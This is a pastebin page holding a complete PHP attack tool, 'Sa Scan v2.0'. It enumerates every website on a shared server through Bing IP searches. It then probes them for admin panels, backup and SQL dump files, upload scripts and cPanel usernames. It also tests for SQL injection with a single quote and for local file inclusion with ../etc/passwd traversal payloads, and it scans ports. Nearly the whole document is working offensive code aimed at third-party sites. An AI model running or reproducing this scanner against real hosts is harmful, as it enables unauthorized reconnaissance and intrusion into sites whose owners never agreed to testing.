Don't like ads? PRO users don't see any ads ;-)
Guest

php sa

By: lehieuit on May 7th, 2012  |  syntax: PHP  |  size: 22.48 KB  |  hits: 87  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. <?php
  2. @set_time_limit(0);
  3. @error_reporting(E_ALL | E_NOTICE);
  4.  
  5. if(!$argv[1] or !$argv[2]){
  6.  
  7. print_r("
  8. #--------------------------------------------------\
  9. # Use        : php sa.php target option            |
  10. # Ex         : php sa.php 127.0.0.1 9              |
  11. #--------------------------------------------------/
  12.  
  13. ## Select an option ##
  14.  
  15. 1 - Get Site server
  16.  
  17. 2 - Find control panel
  18.  
  19. 3 - Find Zip files
  20.  
  21. 4 - Find uploaded files
  22.  
  23. 5 - Find File
  24.  
  25. 6 - Find list File
  26.  
  27. 7 - Script sites
  28.  
  29. 8 - Get users server
  30.  
  31. 9 - Get Links in sites
  32.  
  33. 10 - Scan SQL
  34.  
  35. 11 - Scan SQL 2
  36.  
  37. 12 - Scan LFI
  38.  
  39. 13 - Scan ports
  40.  
  41. 14 - Scan ports2
  42.  
  43. 15 - Info network
  44.  
  45. \n");
  46. exit();
  47.        }
  48.  
  49. ##############################
  50.  
  51. ////// START TOOL //////
  52.  
  53. #############################
  54.  
  55. print_r("
  56. .--.--.                         .--.--.
  57. /  /    '.                      /  /    '.
  58. |  :  /`. /                     |  :  /`. /                              ,---,
  59. ;  |  |--`                      ;  |  |--`                           ,-+-. /  |
  60. |  :  ;_      ,--.--.           |  :  ;_       ,---.     ,--.--.    ,--.'|'   |
  61. \  \    `.  /       \           \  \    `.   /     \   /       \  |   |  ,\"' |
  62.  `----.   \.--.  .-. |           `----.   \ /    / '  .--.  .-. | |   | /  | |
  63.  __ \  \  | \__\/: . .           __ \  \  |.    ' /    \__\/: . . |   | |  | |
  64. /  /`--'  / ,\" .--.; |          /  /`--'  /'   ; :__   ,\" .--.; | |   | |  |/
  65. '--'.     / /  /  ,.  |         '--'.     / '   | '.'| /  /  ,.  | |   | |--'
  66.  `--'---' ;  :   .'   \          `--'---'  |   :    :;  :   .'   \|   |/
  67.           |  ,     .-./                     \   \  / |  ,     .-./'---'  v2.0
  68.            `--`---'                          `----'   `--`---'
  69.  
  70. \n
  71. # Programmer : al-swisre
  72.  
  73. # twitter : al_swisre
  74.  
  75. # Greets To : Group XP - Group Hp-Hack‎ - Hackers Home
  76.  
  77.  
  78. \n\n
  79.  
  80. Scanning [$argv[1]] .. \n ");
  81.  
  82. $t  = $argv[1]; // target Server
  83.  
  84. $o  = $argv[2]; // option
  85.  
  86. $d  = date("Y-m-d"); // date
  87.  
  88. $time  = date("h-i-s"); // time
  89.  
  90. $f  = fopen("result_$time.html",'w');
  91.  
  92. fwrite($f,"
  93. <!-- Programmed by al-swisre -->
  94. <title>Sa Scan v2.0 by al-swisre</title>
  95. <h5># Result Scan #</h5>
  96. <h5># Target :<font color='red'> $t </font>&nbsp;#</h5>
  97. <h5># Date : <font color='red'> $d </font>&nbsp;#</h5>
  98. <h5># Time : <font color='red'> $time </font>&nbsp;#</h5>
  99. <hr />");
  100.  
  101.  
  102.  switch ($o)
  103.                 {
  104.  
  105. /////////////////////////////////////////////////////
  106.  
  107.                 case 1:
  108.                  $a = sws_site($t);
  109.  
  110.                  if($a)
  111.                         {
  112.  
  113.                         print_r("END");
  114.  
  115.                         }
  116.  
  117.                  break;
  118.  
  119. //////////////////////////////////////////////////////////
  120.  
  121.                  case 2:
  122.                  $a = sws_admin_site($t);
  123.  
  124.                  if($a)
  125.                         {
  126.  
  127.                         print_r("END");
  128.  
  129.                         }
  130.  
  131.                  break;
  132.  
  133. //////////////////////////////////////////////////////////
  134.  
  135.                  case 3:
  136.                  $a = sws_zip_site($t);
  137.  
  138.                  if($a)
  139.                         {
  140.  
  141.                         print("END");
  142.  
  143.                         }
  144.  
  145.                  break;
  146.  
  147. //////////////////////////////////////////////////////////
  148.  
  149.                  case 4:
  150.                  $a = sws_up_site($t);
  151.  
  152.                  if($a)
  153.                         {
  154.  
  155.                         print("END");
  156.  
  157.                         }
  158.  
  159.                  break;
  160. //////////////////////////////////////////////////////////
  161.  
  162.                  case 5:
  163. if(!isset($argv[3]))
  164. {
  165.  print("
  166. #--------------------------------------------------\
  167. # Use        : add file to find it                 |
  168. # Ex         : php sa.php 127.0.0.1 5 file.php     |
  169. #--------------------------------------------------/
  170. \n");
  171.  
  172. exit();
  173. }
  174.                  $a = sws_file($t,$argv[3]);
  175.  
  176.                  if($a)
  177.                         {
  178.  
  179.                         print("END");
  180.  
  181.                         }
  182.  
  183.                  break;
  184. //////////////////////////////////////////////////////////
  185.                  case 6:
  186. if(!isset($argv[3]))
  187. {
  188.  print("
  189. #--------------------------------------------------\
  190. # Use        : add list.txt to find it                 |
  191. # Ex         : php sa.php 127.0.0.1 5 list.txt     |
  192. #--------------------------------------------------/
  193. \n");
  194.  
  195. exit();
  196. }
  197.                  $a = sws_file_list($t,$argv[3]);
  198.  
  199.                  if($a)
  200.                         {
  201.  
  202.                         print("END");
  203.  
  204.                         }
  205.  
  206.                  break;
  207. //////////////////////////////////////////////////////////
  208.                  case 7:
  209.                  $a = sws_script_site($t);
  210.  
  211.                  if($a)
  212.                         {
  213.  
  214.                         print("END");
  215.  
  216.                         }
  217.  
  218.                  break;
  219.  
  220. //////////////////////////////////////////////////////////
  221.  
  222.                  case 8:
  223.                  $a = sws_user($t);
  224.  
  225.                  if($a)
  226.                         {
  227.  
  228.                         print("END");
  229.  
  230.                         }
  231.  
  232.                  break;
  233.  
  234. //////////////////////////////////////////////////////////
  235.  
  236.                  case 9:
  237.                  $a = sws_link($t);
  238.  
  239.                    if($a)
  240.                         {
  241.  
  242.                         print("END");
  243.  
  244.                         }
  245.                  break;
  246.  
  247. //////////////////////////////////////////////////////////
  248.  
  249.                  case 10:
  250.                  $a = sws_sql($t);
  251.  
  252.                    if($a)
  253.                         {
  254.  
  255.                         print("END");
  256.  
  257.                         }
  258.                  break;
  259. ///////////////////////////////////////////////////////////
  260.  
  261.                  case 11:
  262.                  $a = sws_sql2($t);
  263.  
  264.                    if($a)
  265.                         {
  266.  
  267.                         print("END");
  268.  
  269.                         }
  270.                  break;
  271.  
  272. //////////////////////////////////////////////////////////
  273.  
  274.                  case 12:
  275.                  $a = sws_lfi($t);
  276.  
  277.                    if($a)
  278.                         {
  279.  
  280.                         print("END");
  281.  
  282.                         }
  283.                  break;
  284. ///////////////////////////////////////////////////////////
  285.  
  286.                  case 13:
  287.                  $a = sws_port_scan($t);
  288.  
  289.                    if($a)
  290.                         {
  291.  
  292.                         print("END");
  293.  
  294.                         }
  295.                  break;
  296.  
  297. ////////////////////////////////////////////////////////////
  298.                  case 14:
  299.                 if(!isset($argv[3]) or !isset($argv[4]))
  300.                 {
  301.  print("
  302. #--------------------------------------------------\
  303. # Use        : php sa.php target start end         |
  304. # Ex         : php sa.php 127.0.0.1 9 20 2000      |
  305. #--------------------------------------------------/
  306. \n");
  307.  
  308. exit();
  309.  
  310.                 }
  311.  
  312.                  $a = sws_port_scan2($t,$argv[3],$argv[4]);
  313.  
  314.                    if($a)
  315.                         {
  316.  
  317.                         print("END");
  318.  
  319.                         }
  320.                  break;
  321.  
  322. /////////////////////////////////////////////////////////
  323.  
  324.                  case 15:
  325.                  $a = sws_network($t);
  326.  
  327.                    if($a)
  328.                         {
  329.  
  330.                         print("END");
  331.  
  332.                         }
  333.                  break;
  334. ////////////////////////////////////////////////////////
  335.                  default :
  336.  print("
  337. #--------------------------------------------------\
  338. # Use        : php sa.php target option            |
  339. # Ex         : php sa.php 127.0.0.1 9              |
  340. #--------------------------------------------------/
  341. \n");
  342. exit();
  343.                  break;
  344.                 }
  345.  
  346. ##########################
  347.  
  348. ///// Function /////
  349.  
  350. #########################
  351.  
  352.  
  353. //// SITES ////
  354.  
  355. function site_array($ip)
  356. {
  357.  
  358.  
  359.  
  360. $endpages = 50000;
  361.  
  362. $spages = 1;
  363.  
  364. $allsite = array();
  365.  
  366. while($spages <= $endpages)
  367.   {
  368.  
  369.   $bing = @file_get_contents('http://www.bing.com/search?q=ip%3A' . $ip . '&first=' . $spages);
  370.  
  371.  
  372.         if ($bing)
  373.         {
  374.                 preg_match_all('(<div class="sb_tlst">.*<h3>.*<a href="(.*)".*>(.*)</a>.*</h3>.*</div>)siU', $bing, $findlink);
  375.  
  376.                 foreach ($findlink[1] as $fl)
  377.  
  378.                 $allsite[]= clean_url($fl);
  379.  
  380.  
  381.                 $spages = $spages + 10;
  382.  
  383.         if (preg_match('(first=' . $spages . '&amp)siU', $bing, $linksuiv) == 0)
  384.                         break;
  385.         }
  386.  
  387.     else
  388.                 break;
  389.   }
  390.  
  391.   $allDmns = array();
  392.  
  393.  
  394.         foreach ($allsite as $kk => $vv){
  395.  
  396.         $allDmns[] = "http://".$vv."/";
  397.  
  398.         }
  399.   $ignore_values = array();
  400.  
  401.   $allDmns = make_unique($allDmns,$ignore_values);
  402.  
  403.  
  404.   return $allDmns;
  405.  
  406. }
  407.  
  408.  
  409. //// ADMIN [2] ////
  410.  
  411. function sws_admin_site($ip)
  412. {
  413. global $f;
  414.  
  415. $list = array(
  416. '/admin/',
  417. '/site/admin',
  418. '/admin.php/',
  419. '/up/admin/',
  420. '/central/admin/',
  421. '/whm/admin/',
  422. '/whmcs/admin/',
  423. '/support/admin/',
  424. '/upload/admin/',
  425. '/video/admin/',
  426. '/shop/admin/',
  427. '/shoping/admin/',
  428. '/wp-admin/',
  429. '/wp/wp-admin/',
  430. '/blog/wp-admin/',
  431. '/admincp/',
  432. '/admincp.php/',
  433. '/vb/admincp/',
  434. '/forum/admincp/',
  435. '/up/admincp/',
  436. '/administrator/',
  437. '/administrator.php/',
  438. '/joomla/administrator/',
  439. '/jm/administrator/',
  440. '/site/administrator/',
  441. '/install/',
  442. '/vb/install/',
  443. '/dimcp/',
  444. '/clientes/',
  445. '/admin_cp/',
  446. '/login/',
  447. '/login.php',
  448. '/site/login',
  449. '/site/login.php',
  450. '/up/login/',
  451. '/up/login.php',
  452. '/cp.php',
  453. '/up/cp',
  454. '/cp',
  455. '/master',
  456. '/adm',
  457. '/member',
  458. '/control',
  459. '/webmaster',
  460. '/myadmin',
  461. '/admin_cp',
  462. '/admin_site',
  463. );
  464.  
  465. $sites = site_array($ip);
  466.  
  467. $num = count($sites);
  468.  
  469.  fwrite($f,"<h4>Admin Panel site [ $num ]</h4> <br /><pre>");
  470.  
  471.    foreach ($sites as $site)
  472.    {
  473.  
  474.  
  475.  
  476.              foreach ($list as $l)
  477.          {
  478.  
  479.  
  480.  
  481.         $get = @get_headers($site.$l);
  482.  
  483.         if (!preg_match("/404 Not Found/", $get[0]))
  484.  
  485.            {
  486.  
  487.             fwrite($f,"Found : $site$l<br />");
  488.  
  489.            }
  490.  
  491.  
  492.          }
  493.  
  494.    }
  495.  
  496. }
  497.  
  498. //// ZIP [3] ////
  499.  
  500. function sws_zip_site($ip)
  501. {
  502. global $f;
  503.  
  504. $list = array(
  505. '/backup.tar.gz',
  506. '/backup/backup.tar.gz',
  507. '/backup/backup.zip',
  508. '/vb/backup.zip',
  509. '/site/backup.zip',
  510. '/backup.zip',
  511. '/backup.rar',
  512. '/backup.sql',
  513. '/vb/vb.zip',
  514. '/vb.zip',
  515. '/vb.sql',
  516. '/vb.rar',
  517. '/vb1.zip',
  518. '/vb2.zip',
  519. '/vbb.zip',
  520. '/vb3.zip',
  521. '/upload.zip',
  522. '/up/upload.zip',
  523. '/joomla.zip',
  524. '/joomla.rar',
  525. '/joomla.sql',
  526. '/wordpress.zip',
  527. '/wp/wordpress.zip',
  528. '/blog/wordpress.zip',
  529. '/wordpress.rar',
  530. );
  531.  
  532. $sites = site_array($ip);
  533. $num = count($sites);
  534.  fwrite($f,"<h4>Zip File site [ $num ]</h4><pre>");
  535.  
  536.    foreach ($sites as $site)
  537.    {
  538.  
  539.              foreach ($list as $l)
  540.          {
  541.  
  542.  
  543.  
  544.  
  545.         $get = @get_headers($site.$l);
  546.  
  547.         if (!preg_match("/404 Not Found/", $get[0]))
  548.  
  549.            {
  550.  
  551.             fwrite($f,"Found : $site$l<br />");
  552.  
  553.            }
  554.  
  555.  
  556.          }
  557.  
  558.    }
  559.  
  560. }
  561.  
  562. //// UP [4] ////
  563.  
  564. function sws_up_site($ip)
  565. {
  566. global $f;
  567.  
  568. $list = array(
  569. '/up.php',
  570. '/up1.php',
  571. '/up/up.php',
  572. '/site/up.php',
  573. '/vb/up.php',
  574. '/forum/up.php',
  575. '/blog/up.php',
  576. '/upload.php',
  577. '/upload1.php',
  578. '/upload2.php',
  579. '/vb/upload.php',
  580. '/forum/upload.php',
  581. '/blog/upload.php',
  582. '/site/upload.php',
  583. '/download.php',
  584. );
  585.  
  586. $sites = site_array($ip);
  587.  
  588. $num = count($sites);
  589.  
  590. fwrite($f,"<h4>Upload File site [ $num ]</h4> <pre>");
  591.  
  592.  
  593.    foreach ($sites as $site)
  594.    {
  595.  
  596.              foreach ($list as $l)
  597.          {
  598.  
  599.  
  600.  
  601.  
  602.         $get = @get_headers($site.$l);
  603.  
  604.          if (!preg_match("/404 Not Found/", $get[0]))
  605.  
  606.            {
  607.  
  608.             fwrite($f,"Found : $site$l<br />");
  609.  
  610.            }
  611.  
  612.  
  613.  
  614.          }
  615.  
  616.    }
  617.  
  618. }
  619.  
  620. //// script [5] ////
  621.  
  622.  
  623. function sws_script_site($ip)
  624. {
  625. global $f;
  626.  
  627. $list = array(
  628. '/vb/',
  629. '/wp/',
  630. '/blog/',
  631. '/joomla/',
  632. '/whmcs/',
  633. '/shop/',
  634. '/up/',
  635. '/support/',
  636. '/forum/',
  637. '/upload/',
  638. '/video/',
  639. '',
  640. );
  641.  
  642.  
  643.  
  644. $sites = site_array($ip);
  645.  
  646. $num = count($sites);
  647.  
  648.  fwrite($f,"<h4>Script Site [ $num ]</h4><pre>");
  649.  
  650.    foreach ($sites as $site)
  651.    {
  652.  
  653.              foreach ($list as $l)
  654.          {
  655.  
  656.          $get = @get_headers($site.$l);
  657.  
  658.          if (!preg_match("/404 Not Found/", $get[0]))
  659.  
  660.            {
  661.  
  662. $ex = get($site.$l);
  663.  
  664.  
  665.    if(eregi('smf',$ex)){
  666.  
  667.         fwrite($f,"smf : $url<br />");
  668.      }
  669.    elseif (eregi('vbulletin',$ex)){
  670.          fwrite($f,"vbulletin : $site$l<br />");
  671.      }
  672.    elseif(eregi('phpbb',$ex)){
  673.         fwrite($f,"phpbb : $site$l<br />");
  674.     }
  675.    elseif(eregi('wordpress',$ex)){
  676.        fwrite($f,"wordpress : $site$l<br />");
  677.    }
  678.    elseif(eregi('joomla',$ex)){
  679.      fwrite($f,"joomla : $site$l<br />");
  680.    }
  681.   elseif(eregi('submitticket.php',$ex)){
  682.      fwrite($f,"whmcs : $site$l<br />");
  683.    }else{
  684.     fwrite($f,"Other : $site$l<br />");
  685.    }
  686.  
  687.   }
  688.  
  689. }
  690.  
  691. }
  692.  
  693. }
  694.  
  695. //// USERS [6] ////
  696.  
  697. function sws_user($ip)
  698. {
  699. global $f;
  700.  
  701.  
  702.  
  703. $sites = site_array($ip);
  704.  
  705. $num = count($sites);
  706.  
  707.  fwrite($f,"<h4>Users Server site [ $num ]</h4> <pre>");
  708.  
  709.    foreach ($sites as $site)
  710.    {
  711.  
  712.  
  713.     chek_user($site);
  714.  
  715.  
  716.    }
  717.  
  718. }
  719.  
  720. function sws_site($ip)
  721. {
  722.  
  723.  global $f;
  724.  
  725.  $getip = @file_get_contents("http://networktools.nl/reverseip/$ip");
  726.  
  727.  $get  = @findit($getip,'<pre>','</pre>');
  728.  
  729.  fwrite($f,"<h4>Site Server</h4><pre> $get </pre>");
  730.  
  731.  
  732.  exit();
  733. }
  734.  
  735. /////////////////////////////////
  736.  
  737. function sws_link($ip)
  738. {
  739. global $f;
  740. fwrite($f,"<h4>Get Link site [ $num ]</h4>");
  741.  
  742.  $sites = site_array($ip);
  743.  
  744.  $num = count($sites);
  745.  
  746. foreach ($sites as $site)
  747. {
  748.   fwrite($f,"</pre><h5>site: <font color='red'>$site</font></h5><pre style='font-size: 11px;'>");
  749.  
  750.   $g = sws_get_link($site);
  751.  
  752.       foreach ($g as $key=>$value)
  753.         {
  754.  
  755.          if (preg_match("/=/i", $key))
  756.           {
  757.  
  758.            fwrite($f,"$key<br />");
  759.  
  760.           }
  761.  
  762.         $r = sws_get_link($site.$key);
  763.  
  764.                  foreach ($r as $key=>$value)
  765.                  {
  766.                     if (preg_match("/=/i", $key))
  767.                      {
  768.  
  769.                      fwrite($f,"$key<br />");
  770.  
  771.                      }
  772.  
  773.                   }
  774.  
  775.  
  776.        }
  777. }
  778. }
  779.  
  780.  
  781. function sws_sql($ip)
  782.  
  783. {
  784. global $f;
  785.  
  786. $sites = site_array($ip);
  787.  
  788. $num = count($sites);
  789.  
  790. fwrite($f,"<h4>Scan SQL injecton in [ $num ] site</h4><pre>");
  791.  
  792. foreach ($sites as $site)
  793. {
  794.         $g = sws_get_link($site);
  795.  
  796.              foreach ($g as $key=>$value)
  797.                 {
  798.  
  799.  
  800.  
  801.                    if (preg_match("/=/i", $key))
  802.                        {
  803.  
  804.                          if(!preg_match("/http/", $key))
  805.                              {
  806.  
  807.                              $key = $site.'/'.$key;
  808.  
  809.                              }
  810.  
  811.  
  812.                                             $sql = "'";
  813.  
  814.  
  815.                                             $g = get($key.$sql);
  816.  
  817.                                            if(eregi('SQL|Oracle|syntax|mysql|SELECT|function',$g))
  818.                                            {
  819.  
  820.                                            fwrite($f,"Found SQL injecton : $key$sql <br />");
  821.  
  822.  
  823.                                            }
  824.  
  825.  
  826.  
  827.  
  828.  
  829.                          }
  830.  
  831.                  }
  832.  
  833.  
  834.  
  835. }
  836.  
  837.  
  838.  
  839.  
  840. }
  841.  
  842.  
  843. function sws_lfi($ip)
  844.  
  845. {
  846. global $f;
  847.  
  848. $sites = site_array($ip);
  849.  
  850. $num = count($sites);
  851.  
  852. $lfi = array(
  853. "/etc/passwd",
  854. "../etc/passwd",
  855. "../../etc/passwd",
  856. "../../../etc/passwd",
  857. "../../../../etc/passwd",
  858. "../../../../../etc/passwd",
  859. "../../../../../../etc/passwd",
  860. "../../../../../../../etc/passwd",
  861. "../../../../../../../../etc/passwd",
  862. "../../../../../../../../../etc/passwd",
  863. "../../../../../../../../../../etc/passwd",
  864. "../../../../../../../../../../../etc/passwd",
  865. "../../../../../../../../../../../../etc/passwd",
  866. "../../../../../../../../../../../../../etc/passwd",
  867. "../../../../../../../../../../../../../../etc/passwd",
  868. "../../../../../../../../../../../../../../../etc/passwd",
  869. );
  870.  
  871. fwrite($f,"<h4>Scan LFI in [ $num ] site</h4><pre>");
  872.  
  873. foreach ($sites as $site)
  874. {
  875.         $g = sws_get_link($site);
  876.  
  877.              foreach ($g as $key=>$value)
  878.                 {
  879.  
  880.  
  881.  
  882.                    if (preg_match("/=/i", $key))
  883.                        {
  884.  
  885.                          if(!preg_match("/http/", $key))
  886.                              {
  887.  
  888.                              $key = $site.'/'.$key;
  889.  
  890.                              }
  891.  
  892.  
  893.                              $equals = strrpos($key,"=");
  894.  
  895.                              $siteedit = substr_replace($key, '', $equals+1);
  896.  
  897.  
  898.  
  899.                                             foreach ($lfi as $xx){
  900.  
  901.                                             $g = get($siteedit.$xx);
  902.  
  903.                                            if(eregi('/root|/home|/public_html',$g))
  904.                                            {
  905.  
  906.                                            fwrite($f,"Found LFI : $siteedit$xx <br />");
  907.  
  908.  
  909.                                            }
  910.                                            else{
  911.                                             fwrite($f,"NOT Found LFI : $siteedit$xx <br />");
  912.                                            }
  913.  
  914.                            }
  915.  
  916.  
  917.  
  918.  
  919.  
  920.  
  921.                          }
  922.  
  923.                  }
  924.  
  925.  
  926.  
  927. }
  928.  
  929.  
  930.  
  931.  
  932. }
  933.  
  934.  
  935. function sws_sql2($ip)
  936.  
  937. {
  938. global $f;
  939.  
  940. $sites = site_array($ip);
  941.  
  942. $num = count($sites);
  943.  
  944. fwrite($f,"<h4>Scan SQL injecton in [ $num ] site</h4><pre>");
  945.  
  946. foreach ($sites as $site)
  947. {
  948.         $g = sws_get_link($site);
  949.  
  950.              foreach ($g as $key=>$value)
  951.                 {
  952.  
  953.  
  954.  
  955.                    if (preg_match("/=/i", $key))
  956.                        {
  957.  
  958.                          if(!preg_match("/http/", $key))
  959.                              {
  960.  
  961.                              $key = $site.'/'.$key;
  962.  
  963.                              }
  964.  
  965.                                    $g = sws_get_link($key);
  966.  
  967.                                                  foreach ($g as $key=>$value)
  968.                                                    {
  969.  
  970.                                                         if (preg_match("/=/i", $key))
  971.                                                           {
  972. ////////////////////////////////////////////////////////////////////////////////////////////////////
  973.                                            $sql = "'";
  974.  
  975.                                            $g = get($key.$sql);
  976.  
  977.                                            if(eregi('SQL|Oracle|syntax|mysql|SELECT|function',$g))
  978.                                            {
  979.  
  980.                                                fwrite($f,"Found SQL injecton : $key <br />");
  981.  
  982.                                            }
  983. ///////////////////////////////////////////////////////////////////////////////////////////////////////
  984.  
  985.  
  986.  
  987.                                                           }
  988.  
  989.                                                  }
  990.  
  991.  
  992.  
  993.  
  994.  
  995.  
  996.                          }
  997.  
  998.                  }
  999.  
  1000.  
  1001.  
  1002. }
  1003.  
  1004.  
  1005.  
  1006.  
  1007. }
  1008.  
  1009.  
  1010. function sws_file($ip,$file)
  1011. {
  1012. global $f;
  1013.  
  1014. $list = array(
  1015. '',
  1016. '/vb/',
  1017. '/site/',
  1018. '/wp/',
  1019. '/blog/',
  1020. '/joomla/',
  1021. '/forum/',
  1022. '/up/',
  1023. );
  1024.  
  1025. $sites = site_array($ip);
  1026.  
  1027. $num = count($sites);
  1028.  
  1029.  fwrite($f,"<h4>Find $file in [ $num ] site</h4> <br /><pre>");
  1030.  
  1031.  foreach ($sites as $site)
  1032.  {
  1033.  
  1034.  
  1035.  
  1036.              foreach ($list as $l)
  1037.       {
  1038.  
  1039.  
  1040.  
  1041.         $get = @get_headers($site.$l.$file);
  1042.  
  1043.         if (preg_match("/200 OK/", $get[0]))
  1044.  
  1045.            {
  1046.  
  1047.             fwrite($f,"Found : $site$l$file<br />");
  1048.  
  1049.            }
  1050.  
  1051.  
  1052.      }
  1053.  
  1054.  }
  1055.  
  1056. }
  1057.  
  1058. function sws_file_list($ip,$file)
  1059. {
  1060. global $f;
  1061.  
  1062. $list = file($file);
  1063.  
  1064. $sites = site_array($ip);
  1065.  
  1066. $num = count($sites);
  1067.  
  1068.  fwrite($f,"<h4>Find list in [ $num ] site</h4> <br /><pre>");
  1069.  
  1070.  foreach ($sites as $site)
  1071.  {
  1072.  
  1073.  
  1074.  
  1075.              foreach ($list as $l)
  1076.       {
  1077.  
  1078.  
  1079.  
  1080.         $get = @get_headers($site.$l);
  1081.  
  1082.         if (preg_match("/200 OK/", $get[0]))
  1083.  
  1084.            {
  1085.  
  1086.             fwrite($f,"Found : $site$l<br />");
  1087.  
  1088.            }
  1089.  
  1090.  
  1091.      }
  1092.  
  1093.  }
  1094.  
  1095. }
  1096.  
  1097.  
  1098. function sws_network($ip)
  1099. {
  1100.  
  1101.  global $f;
  1102.  
  1103.  $getip = @file_get_contents("http://networktools.nl/asinfo/$ip");
  1104.  
  1105.  $get  = @findit($getip,'<pre>','</pre>');
  1106.  
  1107.  fwrite($f,"<h4>Network Server</h4><pre> $get");
  1108.  
  1109.  exit();
  1110. }
  1111.  
  1112.  
  1113.  
  1114. function sws_port_scan($ip)
  1115. {
  1116.  global $f;
  1117.  
  1118.  fwrite($f,"<h4>Open Port Server</h4><pre> ");
  1119.  
  1120.  
  1121. $list_post = array('80','21','22','2082','25','53','110','443','143');
  1122.  
  1123. foreach ($list_post as $o_port)
  1124. {
  1125.  
  1126.            $connect = @fsockopen($ip,$o_port,$errno,$errstr,2);
  1127.  
  1128.            if($connect)
  1129.            {
  1130.  
  1131.            fwrite($f,"$ip:$o_port <br /> ");
  1132.  
  1133.            }
  1134. }
  1135.  
  1136.  
  1137.  
  1138.  
  1139. }
  1140.  
  1141.  
  1142. function sws_port_scan2($ip,$start,$end)
  1143. {
  1144.  
  1145.  global $f;
  1146.  
  1147.  fwrite($f,"<h4>Port Server $start - $end </h4><pre> ");
  1148.  
  1149.  
  1150.  
  1151.  for($i=$start;$i<$end;$i++){
  1152.  
  1153.            $connect = @fsockopen($ip,$i,$errno,$errstr,2);
  1154.  
  1155.            if($connect)
  1156.            {
  1157.  
  1158.            fwrite($f," $ip : $i  <br />");
  1159.  
  1160.            }
  1161. }
  1162.  
  1163.  
  1164.  
  1165.  
  1166. }
  1167.  
  1168.  
  1169.  
  1170.  
  1171. function chek_user($site){
  1172.  
  1173. global $f;
  1174.  
  1175. $t= cc($site);
  1176.  
  1177. $s =strlen($t);
  1178.  
  1179. for($i=0;$i<=$s;$i++){ $userz[]=substr($t,0,$i); }
  1180.  
  1181. foreach($userz as $v=>$user){
  1182.  
  1183. $z= get($site."cgi-sys/entropysearch.cgi?user=$user");
  1184.  
  1185. if(eregi("/home/$user",$z)){
  1186.  
  1187.     fwrite($f,"$user <br />");
  1188.  
  1189. }
  1190.  
  1191. }
  1192.  
  1193. }
  1194.  
  1195. function cc($uu){
  1196. $x=array("www.",".","-","http://");
  1197. foreach($x as $xx){ $uu = str_replace($xx,"",$uu); }
  1198. return $uu;
  1199. }
  1200.  
  1201. function clean_url($x){
  1202.  
  1203. $z=parse_url($x);
  1204.  
  1205. $x=$z['host']."";
  1206.  
  1207. return $x;
  1208. }
  1209.  
  1210. function sws_sql_chek($url)
  1211.  
  1212. {
  1213.  
  1214.  
  1215.  
  1216. }
  1217.  
  1218.  
  1219. function sws_get_link($site) {
  1220. $site1 = $site;
  1221. $ret = array();
  1222. $dom = new domDocument;
  1223. $ex = get($site);
  1224. @$dom->loadHTML($ex);
  1225. $dom->preserveWhiteSpace = false;
  1226. $links = $dom->getElementsByTagName('a');
  1227.  
  1228.       foreach ($links as $tag)
  1229.        {
  1230.          $ret[$tag->getAttribute('href')] = $tag->childNodes->item(0)->nodeValue;
  1231.        }
  1232.  
  1233. return $ret;
  1234.  
  1235. }
  1236.  
  1237. function get($site)
  1238.                 {
  1239.  
  1240.                         $curl = curl_init();
  1241.                         curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
  1242.                         curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,5);
  1243.                         curl_setopt($curl,CURLOPT_URL,$site);
  1244.                         $calis = curl_exec($curl);
  1245.                         @curl_close($calis);
  1246.                         return $calis;
  1247.                 }
  1248.  
  1249. function findit($mytext,$starttag,$endtag) {
  1250.  
  1251.     $posLeft  = @stripos($mytext,$starttag)+strlen($starttag);
  1252.  
  1253.     $posRight = @stripos($mytext,$endtag,$posLeft+1);
  1254.  
  1255.     return  @substr($mytext,$posLeft,$posRight-$posLeft);
  1256.  
  1257.     flush();
  1258. }
  1259.  
  1260. // CLEAR ARRAY
  1261. function make_unique($array, $ignore)
  1262. {
  1263.     while($values = each($array))
  1264.     {
  1265.         if(!in_array($values[1], $ignore))
  1266.         {
  1267.             $dupes = array_keys($array, $values[1]);
  1268.             unset($dupes[0]);
  1269.             foreach($dupes as $rmv)
  1270.             {
  1271.                 unset($array[$rmv]);
  1272.             }
  1273.         }
  1274.     }
  1275.     return array_values($array);
  1276. }
  1277.  
  1278.  
  1279.  
  1280. ?>